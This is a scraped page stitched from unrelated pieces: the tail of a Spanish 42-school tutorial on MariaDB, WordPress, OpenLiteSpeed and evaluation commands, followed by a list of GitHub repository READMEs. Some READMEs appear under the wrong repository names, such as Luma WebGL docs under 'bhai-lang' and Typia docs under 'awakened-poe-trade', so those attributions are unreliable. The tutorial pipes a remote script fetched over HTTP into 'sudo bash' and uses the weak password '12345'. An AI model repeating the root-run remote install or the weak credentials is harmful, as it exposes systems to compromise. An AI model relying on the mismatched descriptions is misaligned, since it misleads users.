Switch to unix_socket autentication? Escogemos N porque no deseamos que cambie a la auntenticación de socket de Unix ya tenemos una cuenta root protegida.

Change the root password? Escogemos N. No deseamos cambiar la contraseña del usuario root. Por defecto no tenemos contraseña pero en mariadb realmente no es root ya que debemos darle permisos de administrador.

Remove anonymous users? Escogemos Y. Por defecto cuando instalas mariadb tiene un usuario anonimo, lo que permite que cualquier persona inicie sesión en mariadb sin tener que crear una cuenta de usuario propia. Esto esta diseñado para realizar pruebas y que la instalación sea más fluida. Cuando dejemos el entorno de desarrollo y queramos pasar a un entorno de producción debemos eliminar los usuarios anonimos.

Disallow root login remotely? Escogemos Y. Al deshabilitar el inicio de sesion en root de forma remota evitaremos que alguien pueda adivinar la contraseña root. Solo podremos conectarnos al root desde localhost.

Remove test database and acces to it? Escogemos Y. De esta manera se eliminará la base de datos de prueba y cualquier usuario que tenga acceso a ella.

Reaload privilege tables now? Escogemos Y. Asi se recargarán las tablas de permisos de MySQL para que los cambios en la configuración de seguridad entren en vigor de inmediato.

1 ◦ Una vez hayamos terminado con la instalación de mariadb debemos crear la base de datos y el usuario para el WordPress. Lo primero debemos acceder a mariadb.

2 ◦ Creamos una base de datos para el WordPress. En mi caso le voy a llamar wp_database. Todo esto lo hare con el comando CREATE DATABASE wp_database;.

3 ◦ Para asegurarnos que se ha creado la base de datos para el WordPress podemos ver todas las bases existentes con el comando SHOW DATABASES;.

4 ◦ Acto seguido debemos crearemos un usuario dentro de la base de datos. Utilizaremos el comando CREATE USER 'gemartin'@'localhost' IDENTIFIED BY '12345';.

5 ◦ Vinculamos el nuevo usuario a nuestra base de datos de manera que le otorguemos los permisos necesario para poder trabajar. Daremos uso del comando GRANT ALL PRIVILEGES ON wp_database.* TO 'gemartin'@'localhost';.

6 ◦ Actualizamos los permisos para que los cambios tengan efecto con el comando FLUSH PRIVILEGES;.

7 ◦ Una vez hemos completado el paso anterior ya podemos salir de mariadb.

PHP

🧠 Que es PHP❓ Es un lenguaje de programación. Se utiliza principalmente para desarrollar aplicaciones web dinámicas y sitios web interactivos. PHP se ejecuta en el lado del servidor.

1 ◦ Instalamos los paquetes necesarios para poder ejecutar aplicaciones web escritas en lenguaje PHP y que necesiten conectarse a una base de datos MySQL. Ejecutaremos el siguiente comando sudo apt install php-cgi php-mysql.

Configuración WordPress

1 ◦ Accedemos al directorio /var/www/html con el comando: cd /var/www/html

2 ◦ Copiamos el fichero wp-config-sample.php y lo renombraremos wp-config.php

3 ◦ Una vez lo hayamos renombrado editaremos el fichero wp-config.php nano wp-config.php y modificaremos los siguientes valores.

Hay que remplazarlos por los valores que hemos puesto anteriormente cuando creábamos la base de datos y el usuario para que WordPress pueda conectar y hacer uso de ella.

4 ◦ Habilitamos el módulo fastcgi-php en Lighttpd para mejorar el rendimiento y la velocidad de las aplicaciones web en el servidor. sudo lighty-enable-mod fastcgi

5 ◦ Habilitamos el módulo fastcgi-php en Lighttpd para mejorar el rendimiento y la velocidad de las aplicaciones web basadas en PHP en el servidor. sudo lighty-enable-mod fastcgi-php

6 ◦ Actualizamos y aplicamos los cambios en la configuración con el comando sudo service lighttpd force-reload.

7 ◦ Una vez ya hemos completado los pasos anteriores podemos volver a dirigirnos a nuestro navegador y escribiremos localhost. Nos deberá salir lo siguiente:

8 ◦ Debemos rellenar todos los campos. En mi caso he puesto lo siguiente:

9 ◦ Una vez hayamos rellenado todos los campos debemos darle a Instalar WordPress y ya habremos terminado la instalación. Nos saldrá la siguiente pestaña. Ahora WordPress puede crear las tablas y volcar todos los datos que necesita para funcionar en la base de datos que le hemos asignado.

10 ◦ Si accedemos de nuevo a nuestro localhost desde el navegador ya podemos ver nuestra página funcional.

11 ◦ Si queremos acceder al panel de administrador para hacer cambios en nuestra página deberemos poner en el navegador localhost/wp-admin y iniciaremos sesión con nuestra cuenta.

12 ◦ Una vez accedamos ya podemos modificar lo que queramos a gusto propio. Personalizar la página es algo opcional, como no está especificado en el subject en esta guia no se tratará nada al respecto.

8.3 - Servicio adicional ➕

LiteSpeed ⚡️

🧠 Que es LiteSpeed❓ Es un software de servidor web patentado. Es el cuarto servidor web más popular, y se estima que lo utiliza el 10% de los sitios web.

1 ◦ Antes de instalar cualquier software, es importante asegurarse de que el sistema esté actualizado.

sudo apt update

sudo apt upgrade

2 ◦ De forma predeterminada, OpenLiteSpeed está disponible en el repositorio base de Debian 11. Entonces, debes ejecutar el siguiente comando para agregar el repositorio OpenLiteSpeed a su sistema Debian:

wget -O - http://rpms.litespeedtech.com/debian/enable_lst_debian_repo.sh | sudo bash

Como el comando es largo me he conectado via ssh.

3 ◦ De nuevo, actualizamos los paquetes y instalaremos OpenLiteSpeed.

sudo apt update

sudo apt install openlitespeed

4 ◦ La contraseña predeterminada para OpenLiteSpeed es 123456. Cambiaremos la contraseña a algo más seguro con el siguiente comando.

sudo /usr/local/lsws/admin/misc/admpass.sh

5 ◦ Configuramos el firewall para permitir las conexiones mediante los puertos 8088 y 7080. Acto seguido agregaremos las reglas en el reenvio de puertos.

sudo ufw allow 8088/tcp

sudo ufw allow 7080/tcp

sudo ufw reload

Reglas en el reenvio de puertos.

6 ◦ Una vez completado el paso anterior ya podemos conectarnos. Pondremos en el buscador de nuestro navegador localhost:7080 proporcionamos nuestras credenciales de inicio de sesión y ya tendremos acceso a todo.

Este tutorial ha llevado mucho trabajo, si crees que te ha sido útil agradeceria mucho starred 🌟 para que así se comparta y pueda ayudar a más estudiantes 👨🏻‍🎓❤️

9- Hoja de corrección ✅

9-1 Respuestas de la evaluación 💯

▪️ Que es una maquina virtual❓

Es un software que simula un sistema de computación y puede ejecutar programas como si fuese una computadora real. Permite crear múltiples entornos simulados o recursos dedicados desde un solo sistema de hardware físico.

▪️ Porque has escogido Debian❓

Esto es algo personal para cada uno, mi opinion: El propio subject explica que es mas sencillo hacerlo en Debian y si buscas documentacion/tutoriales hay muchos y todos se han hecho en debian.

▪️ Diferencias basicas entre Rocky y Debian

▪️ Cual es el proposito de las maquinas virtuales❓

Su objetivo es el de proporcionar un entorno de ejecución independiente de la plataforma de hardware y del sistema operativo, que oculte los detalles de la plataforma subyacente y permita que un programa se ejecute siempre de la misma forma sobre cualquier plataforma.

▪️ Diferencias entre apt y aptitude ↙️

Aptitude es una version mejorada de apt. APT es un administrador de paquetes de nivel inferior y aptitude es un administrador de paquetes de alto nivel. Otra gran diferencia es la funcionalidad que ofrecen ambas herramientas. Aptitude ofrece una mejor funcionalidad en comparación con apt-get. Ambos son capaces de de proporcionar los medios necesarios para realizar la gestión de paquetes. Sin embargo, si se busca un enfoque con mas caracteristicas, debería ser, Aptitude.

▪️ Que es APPArmor❓

Es un módulo de seguridad del kernel Linux que permite al administrador del sistema restringir las capacidades de un programa.

▪️ Que es LVM❓

Es un gestor de volúmenes lógicos. Proporciona un método para asignar espacio en dispositivos de almacenamiento masivo, que es más flexible que los esquemas de particionado convencionales para almacenar volúmenes.

9-2 Comandos de la evaluación ⌨️

1 ◦ Comprobar que no haya ninguna interfaz grafica en uso.

Utilizaremos el comando ls /usr/bin/*session y nos debe aparecer el mismo resultado que en la captura. Si aparece algo diferente se esta utilizando una interfaz grafica.

2 ◦ Comprobar que el servicio UFW esta en uso.

sudo ufw status

sudo service ufw status

3 ◦ Comprobar que el servicio SSH esta en uso.

sudo service ssh status

4 ◦ Comprobar que utilizas el sistema operativo Debian o Centos.

uname -v o uname --kernel-version

5 ◦ Comprobar que tu usuario este dentro de los grupos "sudo" y "user42".

getent group sudo

getent group user42

6 ◦ Crear un nuevo usuario y mostrar que sigue la politica de contraseñas que hemos creado.

sudo adduser name_user y introducimos una contraseña que siga la politica.

7 ◦ Creamos un nuevo grupo llamado "evaluating".

sudo addgroup evaluating

8 ◦ Añadimos el nuevo usuario al nuevo grupo.

sudo adduser name_user evaluating

Para comprobar que se haya introducido correctamente.

9 ◦ Comprobar que el hostname de la maquina es correcto login42.

10 ◦ Modificar hostname para remplazar tu login por el del evaluador. En este caso lo reemplazare por student42.

sudo nano /etc/hostname y remplazamos nuestro login por el nuevo.

sudo nano /etc/hosts y remplazamos nuestro login por el nuevo.

Reiniciamos la maquina.

Una vez nos hemos logueado de nuevo podemos ver como el hostname se ha cambiado correctamente.

11 ◦ Comprobar que todas las particiones son como indica el subject.

lsblk

12 ◦ Comprobar que sudo esta instalado.

which sudo

Utilizar which realmente no es una buena practica ya que no todos los paquetes se encuentran en las rutas donde which busca, aun asi para la evaluacion es mejor ya que es un comando sencillo y facil de aprender. Para un mejor uso haremos uso del siguiente comando:

dpkg -s sudo

13 ◦ Introducimos el nuevo usuario dentro del grupo sudo.

sudo adduser name_user sudo

Comprobamos que esta dentro del grupo.

14 ◦ Muestra la aplicación de las reglas impuestas para sudo por el subject.

15 ◦ Muestra que la ruta /var/log/sudo/ existe y contiene almenos un fichero, en este se debería ver un historial de los comandos utilizados con sudo.

Ejecuta un comando con sudo y comprueba que se actualiza el fichero.

16 ◦ Comprueba que el programa UFW esta instalado en la maquina virtual y comprueba que funciona correctamente.

dpkg -s ufw

sudo service ufw status

17 ◦ Lista las reglas activas en UFW si no esta hecha la parte bonus solo debe aparecer la regla para el puerto 4242.

sudo ufw status numbered

18 ◦ Crea una nueva regla para el puerto 8080. Comprueba que se ha añadido a las reglas activas y acto seguido puedes borrarla.

sudo ufw allow 8080 para crearla

sudo ufw status numbered

Para borrar la regla debemos utilizar el comando sudo ufw delete num_rule

Comprobamos que se ha eliminado y vemos el numero de la siguiente regla que hay que borrar.

Borramos de nuevo la regla.

Comprobamos que solo nos quedan las reglas requeridas en el subject.

19 ◦ Comprueba que el servicio ssh esta instalado en la maquina virtual, que funciona correctamente y que solo funciona por el puerto 4242.

which ssh

sudo service ssh status

20 ◦ Usa ssh para iniciar sesión con el usuario recién creado. Asegurate de que no puede usar ssh con el usuario root.

Intentamos conectarnos por ssh con el usuario root pero no tenemos permisos.

Nos conectamos por ssh con el nuevo usuario con el comando ssh newuser@localhost -p 4242

21 ◦ Modifica el tiempo de ejecución del script de 10 minutos a 1.

Ejecutamos el siguiente comando para asi modificar el fichero crontab sudo crontab -u root -e

Modificamos el primer paramentro , en vez de 10 lo cambiamos a 1.

22 ◦ Finalmente haz que el script deje de ejecutarse cuando el servidor se haya iniciado, pero sin modificar el script.

sudo /etc/init.d/cron stop

Si queremos que vuelva a ejecutarse:

sudo /etc/init.d/cron start

10- Tester 🆗

Comprueba que no te hayas dejado nada! Tester propio para checkear que la instalación y configuración se ha realizado exitosamente.

AQUÍ

Contacto 📥

Contacta conmigo si crees que puedo mejorar el tutorial! Puede ayudar a futuros estudiantes! 😁

◦ Email: gemartin@student.42barcelona.com

◦ Linkedin: https://www.linkedin.com/in/gemartin99/

Quizás pueda interesarte!

- Para ver mi progresion en el common core 42 ↙️

AQUÍ

- Mi perfil en la intranet de 42 ↙️

AQUÍ

plantec/Album

2023-12-12T01:59:32Z

A fork of the Brick editor

captainahab0x/freedfi

2023-12-12T01:59:36Z

ourzora/zora-721-contracts

2023-12-12T01:59:36Z

Zora drops contracts (powers create.zora.co)

up-csi/up-csi.github.io

2023-12-13T01:45:14Z

The source code for the official UP CSI website.

threlte/three-inspect

2023-12-13T01:45:14Z

An inspector and debugger for three.js

matteozappia/DynamicCowTS

2023-12-12T02:00:05Z

Enable Dynamic Island on every device that is running iOS 16.0 - 16.6.1 / 17.0 using TrollStore.

DynamicCowTS

Enable Dynamic Island on every device that is running iOS 16.0 - 16.6.1 / 17.0 using TrollStore.

Screenshots

Troubleshoot

DynamicCowTS has a troubleshoot section to restore the plist file, but if you want you can also use this shortcut.

The shortcut will "reset" the plist file to an initial state solving any kind of problem.

If the app somehow broke completely and you are an advanced user you can also manually copy and paste in mobile gestalt cache path and eventually, if you are on iPhone XR or 11 in iokit graphics family path, the two plist files located in /var/mobile/Documents/.DynamicCowBackups.

How to use the shortcut

Simply start it and wait for a drop-down menu to appear.
Then click on "View it in Quick View".
You should see some writing, if the file is empty restart the shortcut.

Notes

iOS 16.7.x / iOS 17.0.1 or newer it will never be supported as it rely on TrollStore.
iOS 15/14/13 etc. are NOT and will never be supported, as this is NOT a tweak. If you have one of the above listed iOS versions, please stay away from it cause it can bootloop your device.
I will keep you updated on X / Twitter and on this readme about new features and bug fixes.

Credits

Halo-Michael for killAll binary.

alienator88/Pearcleaner

2023-12-12T02:00:05Z

Open-source mac app cleaner

Pearcleaner

Status: Maintained
Version: 1.8
Download · Commits

An open-source mac app cleaner inspired by Freemacsoft's AppCleaner and Sun Knudsen's Privacy Guides post on his app-cleaner script. This project was born out of wanting to learn more. There's probably parts of the code that could be done better as I'm fairly new to Swift, if you have suggestions I'm open to hearing them!

Features

100% Swift/SwiftUI
Super small app size (~2MB)
Quick file search
Optional Sentinel monitor helper that can be enabled to watch Trash folder for deleted apps
Sentinel monitor is extremely small (210KB) and uses ~2mb of ram to run in the background and file watch. Communicates to app via custom url scheme instead of xpc to keep things even lighter
Mini mode which can be enabled from Settings
Can drop apps to uninstall directly on the Pearcleaner Dock icon itself or the drop target in the app window
Will differentiate between regular apps and Safari web-apps with a "web" label next to each item in the list
Will differentiate between regular apps and wrapped iOS apps with an "iOS" label next to each item in the list
Has clean uninstall menu option for the Pearcleaner app itself if you want to stop using it and get rid of all files and launch items
Requires Full Disk permission to search for files and also Accessibility to delete/restore files
Built-in auto-updater that pulls latest release notes and binaries from GitHub Releases (Might not work well if app is not in /Applications folder because of permissions)

Regular Mode

Mini Mode

Requirements

MacOS 13.0+
Using some newer SwiftUI code which requires 13.0+

Getting Pearcleaner

Releases

Pre-compiled, always up-to-date versions are available from my releases page. You might need to open this with right click-open since I don't have a paid developer account.

Homebrew

Since I don't have a paid developer account, I can't submit to the main Homebrew cask repo. You can still add the app via Homebrew by tapping my repo:

brew tap alienator88/homebrew-cask
brew install --cask pearcleaner

Thanks

Much appreciation to Freemacsoft's AppCleaner and Sun Knudsen's app-cleaner script

appbrewery/EggTimer-iOS13

2023-12-12T02:00:05Z

Learn to Code While Building Apps - The Complete iOS Development Bootcamp

Egg Timer

Our Goal

This module will be a mix of tutorials and challenges. Most importantly, we want you to get comfortable with looking up how to do something you've never done before. In certain places of this module, you’ll need to follow the 5 step process you learnt in the Xylophone module and use Google search, StackOverflow and Apple Documentation to make your code do what you want it to. But there are also other parts where we’ll take you step-by-step through new Swift programming concepts.

What You'll Make

You’ll be building a beautiful egg timer app to boil your eggs to perfection depending on how you prefer your eggs.

What you will learn

Swift Collection types - Dictionaries
The Swift Timer API
Conditional statements - IF/ELSE
Conditional statements - Switch
Functions with outputs
How to use the ProgressView

This is a companion project to The App Brewery's Complete App Development Bootcamp, check out the full course at www.appbrewery.co

jsbillings/caenvnc

2023-12-13T01:45:38Z

CAEN VNC client for linux

dlt-science/science-notes

2023-12-12T02:00:22Z

DSF Science Notes

Science Notes

Steps to add a new blog post

Create a new folder in blogs/ with the name of the blog post
Add your markdown file in the new folder and images in in the <folder-name>/images/ folder.
Add the markdown in _toc.yml under relevant category
Build the book as mentioned in section
Verify the changes in the browser as mentioned in section
Build the regular pdf as mentioned in section
Build the latex pdf as mentioned in section
Push the changes to the repo and get the merge request approved.
After the merge request is approved to be merged with main, the changes will be reflected in the website after workflow is completed in github actions.

Setup

Clone this repository

git clone https://github.com/dlt-science/science-notes.git

Navigate to the directory of the cloned repo

cd science-notes

Create a python virtual environment

MacOS / Linux

python3 -m venv venv

Windows

python -m venv venv

Activate the virtual environment

. venv/bin/activate

Windows (in Command Prompt, NOT Powershell)

venv\Scripts\activate.bat

Install the project in editable mode

pip install -r requirements.txt

Build the book

Run the below command. Use --all to force rebuild all

jupyter-book build --all blogs/

View the book in browser

open blogs/_build/html/index.html

Windows

start blogs/_build/html/index.html

Build pdf

Must first install the right version of urllib3 if haven't

pip install -U "urllib3<1.25"

jupyter-book build blogs/ --builder pdfhtml

This command times out, so you'll need to override the timeout manually in the file : venv/lib/python3.11/site-packages/pyppeteer/page.py by changing the line 134 to: self._defaultNavigationTimeout = 3000000 # milliseconds

The generated pdf can be found here. The latex generated pdf can be found here.

Build pdf through latex

jupyter-book build blogs/ --builder pdflatex

Update the data github pages link

Can only be run by admins/maintainers of the repo.

ghp-import -n -p -f blogs/_build/html

Local testing of the website

Install VSCode extension Live Server
Right-click blogs/_build/html/index.html in VSCode and select Open with Live Server.
You can now see the changes in the browser everytime you rebuild the book (jupyter-book build --all blogs/).

HKFoggyU/hkust-thesis

2023-12-12T02:00:22Z

HKUST Thesis LaTeX3 Template (Also available on Overleaf)

HKUST Thesis

中文说明

HKUST Thesis template for RPG students implemented with LaTeX3.

Getting started

Try this template online on Overleaf in 1 minute! You only need to do 2 things:

Remember to change the Compiler to XeLaTeX via the top left Menu button, otherwise it won't compile.
Download and read carefully the PDF documentation before you edit your thesis.

Alternatively, you can download the release file and try it on your local machine.

Contributions

If you find any problems or have any suggestions, please file an issue or PR.

Disclaimer

FYTGS doesn't provide any template for thesis submission. They only emphasize that the submitted PDF file should meet the requirements in the RPG Handbook.

This template has tried its best to follow the above requirements in the RPG Handbook and also the formatting instructions of the sample pages (MPhil/PhD) provided by the RPG Handbook. However, this template takes no responsibility for any potential inconsistency.

License

LaTeX Project Public License (version 1.3c)

Acknowledgements

This project is modified from the NJUThesis project with the help from NJU-LUG.

Sanguinik/template-wiss-arbeit

2023-12-13T01:45:43Z

LaTeX-Template für eine wissenschaftliche Arbeit

template-wiss-arbeit

LaTeX-Template für eine wissenschaftliche Arbeit

Hinweise

Seitenlayout

Das Template ist für den zweiseitigen Druck konfiguriert. Sollte ein einseitiger Druck gewünscht sein, genügt es, die Option twoside bei der Definition der \documentclass zu löschen. Die zusätzlichen \cleardoublepage-Befehle wirken nur bei der Option twoside.

Sollte ein neuer Abschnitt hinzugefügt werden, der für das zweiseitige Drucken eine neue Leerseite benötigt, so kann eine Leerseite mit dem Befehl \cleardoublepage direkt nach dem entsprechendem Abschnitt hinzugefügt werden.

Beim Einfügen von Leerseiten wird die Seitennummerierung weitergezählt.

Glossar

####Beispiel für einen Glossareintrag:

Der Befehl \makeglossaries muss im Header der tex-Datei stehen, die später kompilliert wird. In diesem Template ist das die Vorlage.tex

Ebenfalls im Header wird ein Glossareintrag erstellt:

\newglossaryentry{Glossareintrag}{name={Glossareintrag},description={Das 
ist die Beschreibung des Glossareintrags und daneben steht die Seitenzahl, 
auf der der Eintrag zu finden ist}}

In dieser Vorlage befindet sich die Konfiguration des Glossars in der Datei konfiguration/glossarconfig.tex

Im Text selbst werden dann die Verweise für einen Glossareintrag definiert:

Test test \gls{Glossareintrag} test.

In der kompillierten Datei wird dann folgender Text angezeigt:

Test test Glossareintrag test.

An der Stelle, an der das Glossar dann im Dokument angezeigt werden soll, ist folgender Befehl in das Dokument einzubinden:

\printglossary[title={Glossar}, toctitle={Glossar}]

In dieser Vorlage ist das im Dokument anhang/glossar.tex ausgelagert.

Damit das Glossar auch im Inhaltsverzeichnis angezeigt wird, muss davor folgender Befehl stehen:

\addcontentsline{toc}{chapter}{Glossar}{}

Kompillieren

Da das Glossar beim einfachen kompillieren nicht automatisch erzeugt und gebaut wird, müssen folgende Befehle nacheinander auf der Konsole ausgeführt werden:

pdflatex vorlage.tex
makeindex.exe -s vorlage.ist -t vorlage.glg -o vorlage.gls vorlage.glo
pdflatex vorlage.tex

DulLabs/bhai-lang

2023-12-12T02:00:45Z

Luma Web Examples, use lumalabs.ai captures directly in your three.js or other WebGL projects!

Luma WebGL Library

luma-web is a npm package for rendering photoreal interactive scenes captured by the Luma app. It includes LumaSplatsWebGL, which is a WebGL-only gaussian splatting implementation designed to be integrated with 3D frameworks, and LumaSplatsThree, which is a Three.js implementation that uses LumaSplatsWebGL under the hood. For these examples we'll use Three.js.

Request features and report bugs on our GitHub repo

Getting Started

To get started, install the package:

npm install @lumaai/luma-web

And import the LumaSplatsThree class:

import { LumaSplatsThree } from "@lumaai/luma-web";

Or if using a browser, include the script:

<script src="https://unpkg.com/@lumaai/luma-web"></script>

Then in your code, import the LumaSplatsThree class, create an instance with a source, and add it to your scene.

source can be either of:

URL to a capture on lumalabs.ai
path to a luma splats file or folder containing a luma splats artifacts

DemoHelloWorld.ts

let splats = new LumaSplatsThree({
	source: 'https://lumalabs.ai/capture/ca9ea966-ca24-4ec1-ab0f-af665cb546ff',
});

scene.add(splats);

scene.add(createText());

Splats will integrate with the three.js rendering pipeline and interact with other objects via depth testing. However, splats do not currently write to the depth buffer themselves.

Performance tips

Use antialias: false when creating the renderer to disable MSAA on the canvas. Splats are already anti-aliased and the high instance count in splats is expensive to render with MSAA
Set enableThreeShaderIntegration: false to disable integration with the three.js rendering pipeline. This will disable features like fog and tone mapping, but will improve performance

Background Removal

Luma scenes can include multiple semantic layers. By default, all layers are rendered. To filter layers, use the semanticsMask property. This is a bit mask, so for example, to show only the foreground layer, set semanticsMask = LumaSplatsSemantics.FOREGROUND. To show both foreground and background, set semanticsMask = LumaSplatsSemantics.FOREGROUND | LumaSplatsSemantics.BACKGROUND

DemoBackgroundRemoval.ts

import { LumaSplatsSemantics, LumaSplatsThree } from "@lumaai/luma-web";

let splats = new LumaSplatsThree({
	source: 'https://lumalabs.ai/capture/1b5f3e33-3900-4398-8795-b585ae13fd2d',
});

scene.add(splats);

// filter splats to only show foreground layers
splats.semanticsMask = LumaSplatsSemantics.FOREGROUND;

Three Fog

Luma splats integrate with the three.js rendering pipeline including features like tone mapping, color spaces and fog. Ensure enableThreeShaderIntegration is set to true (the default) and set the scene fog

DemoFog.ts

scene.fog = new FogExp2(new Color(0xe0e1ff).convertLinearToSRGB(), 0.15);
scene.background = scene.fog.color;

Scene Lighting

It's possible to illuminate three.js scenes with Luma splats. To do so, we can render a cubemap of the splats and use it as the scene environment. This is done by calling captureCubemap() on the splats object. We first wait for the splats to fully load before capturing the cubemap. To ensure the splats are fully rendered at the time of capture, we disable the loading animation.

DemoLighting.ts

let splats = new LumaSplatsThree({
	source: 'https://lumalabs.ai/capture/4da7cf32-865a-4515-8cb9-9dfc574c90c2',

	// disable loading animation so model is fully rendered after onLoad
	loadingAnimationEnabled: false,
});

splats.onLoad = () => {
	splats.captureCubemap(renderer).then((capturedTexture) => {
		scene.environment = capturedTexture;
		scene.background = capturedTexture;
		scene.backgroundBlurriness = 0.5;
	});
}

Custom Shaders

You can inject code into the splat shaders to customize them. To do this, call setShaderHooks({ ... }) on your splat and provide GLSL functions, uniforms and globals to override default behavior. For example, in this demo we apply a transform matrix to each splat by setting the vertex shader hook getSplatTransform. It generates a transform matrix for time-varying sinusoidal offset to the y coordinate.

The syntax for shader hook function is a GLSL function without a function name. The GLSL function arguments and return are given as documentation on the shader hook fields (see below).

DemoCustomShaders.ts

splats.setShaderHooks({
	vertexShaderHooks: {
		additionalUniforms: {
			time_s: ['float', uniformTime],
		},

		getSplatTransform: /*glsl*/`
			(vec3 position, uint layersBitmask) {
				// sin wave on x-axis
				float x = 0.;
				float z = 0.;
				float y = sin(position.x * 1.0 + time_s) * 0.1;
				return mat4(
					1., 0., 0., 0,
					0., 1., 0., 0,
					0., 0., 1., 0,
					x,  y,  z, 1.
				);
			}
		`,
	}
});

Shader Hook API

type LumaShaderHooks = {

	/** Hooks added to the vertex shader */
	vertexShaderHooks?: {
		additionalUniforms?: { [name: string]: [UniformTypeGLSL, { value: any }] },

		/** Inject into global space (for example, to add a varying) */
		additionalGlobals?: string,

		/**
		 * Example `(vec3 splatPosition, uint layersBitmask) { return mat4(1.); }`
		 * @param {vec3} splatPosition, object-space
		 * @param {uint} layersBitmask, bit mask of layers, where bit 0 is background and bit 1 is foreground
		 * @returns {mat4} per-splat local transform
		 */
		getSplatTransform?: string,

		/**
		 * Executed at the end of the main function after gl_Position is set
		 * 
		 * Example `() {
		 *  vPosition = gl_Position;
		 * }`
		 * @returns {void}
		 */
		onMainEnd?: string,

		/**
		 * Example `(vec4 splatColor, vec3 splatPosition) { return pow(splatColor.rgb, vec3(2.2), splatColor.a); }`
		 * Use `gl_Position` is available
		 * @param {vec4} splatColor, default splat color
		 * @param {vec3} splatPosition, object-space
		 * @param {uint} layersBitmask, bit mask of layers, where bit 0 is background and bit 1 is foreground
		 * @returns {vec4} updated splat color
		 */
		getSplatColor?: string,
	},

	/** Hooks added to the fragment shader */
	fragmentShaderHooks?: {
		additionalUniforms?: { [name: string]: [UniformTypeGLSL, { value: any }] },

		/** Inject into global space (for example, to add a varying) */
		additionalGlobals?: string,

		/**
		 * Example `(vec4 fragColor) { return tonemap(fragColor); }`
		 * @param {vec4} fragColor, default fragment color
		 * @returns {vec4} updated fragment color
		 */
		getFragmentColor?: string,
	}
}

React Three Fiber

Luma splats can be used with React Three Fiber, a React renderer for Three.js. To do so, we need to extend R3F to include the LumaSplatsThree class. This is done by calling extend with the class and a name (in this case LumaSplats which will be used as the component name). If using TypeScript, we also need to declare the component type.

DemoReactThreeFiber.tsx

import { Object3DNode, extend } from '@react-three/fiber';
import { LumaSplatsThree, LumaSplatsSemantics } from "@lumaai/luma-web";

// Make LumaSplatsThree available to R3F
extend( { LumaSplats: LumaSplatsThree } );

// For typeScript support:
declare module '@react-three/fiber' {
  interface ThreeElements {
    lumaSplats: Object3DNode<LumaSplatsThree, typeof LumaSplatsThree>
  }
}

function Scene() {
	return <lumaSplats
		semanticsMask={LumaSplatsSemantics.FOREGROUND}
		source='https://lumalabs.ai/capture/822bac8d-70d6-404e-aaae-f89f46672c67'
		position={[-1, 0, 0]}
		scale={0.5}
	/>
}

Transmission

Splats can be used in combination with three.js transmission effects, however some care should be taken to make this work. Splats are considered transparent materials in three.js which means by default they're not rendered in the transmissive pass, so initially you won't see your splats in transmissive materials. To fix we set splats.material.transparent = false;.

In this example, we draw two splat scenes, one inside a refractive globe and the other outside. To make this work, we want the inner splat scene to only render to the transmission buffer and the outer to the canvas. We do this by checking the render target before rendering and selectively disabling.

DemoTransmission.ts

// inner splat
let globeSplats = new LumaSplatsThree({
	// Chateau de Menthon - Annecy
	source: 'https://lumalabs.ai/capture/da82625c-9c8d-4d05-a9f7-3367ecab438c',
	enableThreeShaderIntegration: true,
	onBeforeRender: (renderer) => {
		// disable MSAA on render targets (in this case the transmission render target)
		// this improves splatting performance
		let target = renderer.getRenderTarget();
		if (target) {
			target.samples = 0;
		}

		// only render in targets and not the canvas
		globeSplats.preventDraw = target == null;
	}
});

// disable transparency so the renderer considers it an opaque object
// opaque objects are rendered in the transmission pass (whereas transparent objects are not)
globeSplats.material.transparent = false;

scene.add(globeSplats);

// outer splat
let environmentSplats = new LumaSplatsThree({
	// Arosa Hörnli - Switzerland
	source: 'https://lumalabs.ai/capture/4da7cf32-865a-4515-8cb9-9dfc574c90c2',
	// disable animation for lighting capture
	loadingAnimationEnabled: false,
	// disable three.js shader integration for performance
	enableThreeShaderIntegration: false,
});

scene.add(environmentSplats);

// add a refractive transmissive sphere
let glassSphere = new Mesh(
	new SphereGeometry(1, 32, 32),
	new MeshPhysicalMaterial({
		roughness: 0,
		metalness: 0,
		transmission: 1,
		ior: 1.341,
		thickness: 1.52,
		envMapIntensity: 1.2,
		clearcoat: 1,
		side: FrontSide,
		transparent: true,
	})
);

scene.add(glassSphere);

VR

Viewing your splats in VR is as simple as enabling XR in three.js and adding a VR button. View this demo with a VR headset (or through a headset browser) and click "Enter VR"! It will work best on PC VR, standalone VR tends to struggle with splats presently

DemoVR.ts

import { VRButton } from "three/examples/jsm/webxr/VRButton.js";

renderer.xr.enabled = true;

let vrButton = VRButton.createButton(renderer);

document.body.appendChild(vrButton);

let splats = new LumaSplatsThree({
	// Kind Humanoid @RyanHickman
	source: 'https://lumalabs.ai/capture/83e9aae8-7023-448e-83a6-53ccb377ec86',
});

scene.add(splats);

SnosMe/awakened-poe-trade

2023-12-12T02:00:45Z

Super-fast/easy runtime validations and serializations through transformation

Typia

// RUNTIME VALIDATORS
export function is<T>(input: unknown): input is T; // returns boolean
export function assert<T>(input: unknown): T; // throws TypeGuardError
export function assertGuard<T>(input: unknown): asserts input is T;
export function validate<T>(input: unknown): IValidation<T>; // detailed

// JSON FUNCTIONS
export namespace json {
    export function application<T>(): IJsonApplication; // JSON schema
    export function assertParse<T>(input: string): T; // type safe parser
    export function assertStringify<T>(input: T): string; // safe and faster
}

// PROTOCOL BUFFER
export namespace protobuf {
    export function message<T>(): string; // Protocol Buffer message
    export function assertDecode<T>(buffer: Uint8Array): T; // safe decoder
    export function assertEncode<T>(input: T): Uint8Array; // safe encoder
}

// RANDOM GENERATOR
export function random<T>(g?: Partial<IRandomGenerator>): T;

Typia is a transformer library supporting below features:

Super-fast Runtime Validators
Enhanced JSON functions
Protocol Buffer encoder and decoder
Random data generator

Note

Only one line required, with pure TypeScript type

Runtime validator is 20,000x faster than class-validator

JSON serialization is 200x faster than class-transformer

Playground

You can experience how typia works by playground website:

💻 https://typia.io/playground

Guide Documents

Check out the document in the website:

🏠 Home

📖 Features

🔗 Appendix

Utillization Cases
- NestJS
- Prisma
- tRPC
⇲ Benchmark Result
⇲ dev.to Articles

SecureAI-Tools/SecureAI-Tools

2023-12-13T01:46:09Z

Private and secure AI tools for everyone's productivity.

SecureAI Tools

Private and secure AI tools for everyone's productivity.

Highlights

Chat with AI: Allows you to chat with AI models (i.e. ChatGPT).
Chat with Documents: Allows you to chat with documents (PDFs for now). Demo videos below
Local inference: Runs AI models locally. Supports 100+ open-source (and semi-open-source) AI models through Ollama.
Built-in authentication: A simple email/password authentication so it can be opened to internet and accessed from anywhere.
Built-in user management: So family members or coworkers can use it as well if desired.
Self-hosting optimized: Comes with necessary scripts and docker-compose files to get started in under 5 minutes.

Demos

Chat with documents demo: OpenAI's GPT3.5

Chat with documents demo: Locally running Mistral (M2 MacBook)

Install

Docker Compose [Recommended]

